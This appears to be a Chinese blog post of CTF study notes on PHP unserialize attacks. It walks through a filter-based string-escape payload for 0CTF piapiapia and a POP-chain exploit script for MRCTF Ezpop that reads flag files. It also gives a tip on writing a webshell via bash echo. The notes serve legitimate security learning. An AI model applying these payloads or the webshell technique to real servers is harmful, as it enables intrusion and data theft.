开启掘金成长之旅!这是我参与「掘金日新计划 · 12 月更文挑战」的第14天,点击查看活动详情
0x6、反序列化
unserilize($a) ,利用某一个类中的危险函数
一定要注意private 和protect有不可见字符private要加%00 ,如果是python脚本提交要\x00
还要注意url编码的问题
如果用bash写入一句话木马,注意要对$转义
echo "" > /var/www/html/shell.php;
序列化的时候最好加一个urlencode(wakeup/ __ destruct在哪序列化哪,碰到哪个就赋值哪个,先从危险函数找起)
var_dump(urlencode(serialize($b)));
一、反序列化字符串逃逸
例题 [0CTF 2016]piapiapia
在profile.php处有unserialize()反序列化函数,同时发现profile['photo']在file_get_contents()函数中,而通过阅读源代码发现flag在config.php中,所以我们只需要将profile['photo']的值设置为config.php即可。
#profile.php
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo'])); # profile['photo']可控
经过进一步发掘,发现$profile是从数据库中拿取经过序列化后的档案值,同时发现update.php中可以修改档案值,而update_profile函数会调用父类中的filter方法进行过滤.
#update.php
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) #nikename[]可绕过
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
#class.php
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
正常序列化后的值为
a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:8:"11@11.11";s:8:"nickname";a:1:{i:0;s:3:"111";}s:5:"photo";s:10:"upload/234";}
如果将nikename构造为,wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
因为filter函数将where过滤为hacker,每多出一位就会挤出一位,由于";}s:5:"photo";s:10:"config.php";}有34位那么就需要34个where
注意点:这里有一个坑点,由于要绕过长度限制的正则,因此nikename我们设置为数组,在构造值的时候要多一个}
a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:8:"11@11.11";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:10:"upload/234";}
二、POP链构造
eg:[MRCTF2020]Ezpop
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
__construct 当一个对象创建时被调用,
__toString 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
__get() 用于从不可访问的属性读取数据
#难以访问包括:(1)私有属性,(2)没有初始化的属性
__invoke() 当脚本尝试将对象调用为函数时触发
当对象调用不可访问属性时,就会自动触发get魔法方法
在对象调用不可访问函数时,就会自动触发call魔法方法。
根据以上题目,当用get方法传一个pop参数后,会自动调用Show类的_wakeup()魔术方法。
_wakeup()通过preg_match()将this->source是Show类,就调用了__toString()方法;
如果__toString()其中str赋值为一个实例化的Test类,那么其类不含有source属性,所以会调用Test中的_get()方法。
如果_get()中的p赋值为Modifier类,那么相当于Modifier类被当作函数处理,所以会调用Modifier类中的_invoke()方法。
利用文件包含漏洞,使用_invoke()读取flag.php的内容。
Modifier::__invoke()<--Test::__get()<--Show::__toString()
1
总结: 首先反序列化一个实例化的Show(a会被赋值给source。所以让a这个Show类中的str赋值为Test()类,然后让str这个Test()类中的p赋值为Modifier()类。
class Modifier {
protected $var = "php://filter/read=convert.base64-encode/resource=flag.php";
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
$b = new Modifier();
$c = new Test();
$c->p = $b;
$a = new Show();
$d = new Show();
$a->source = $d;
$d->str = $c;
var_dump(urlencode(serialize($a)));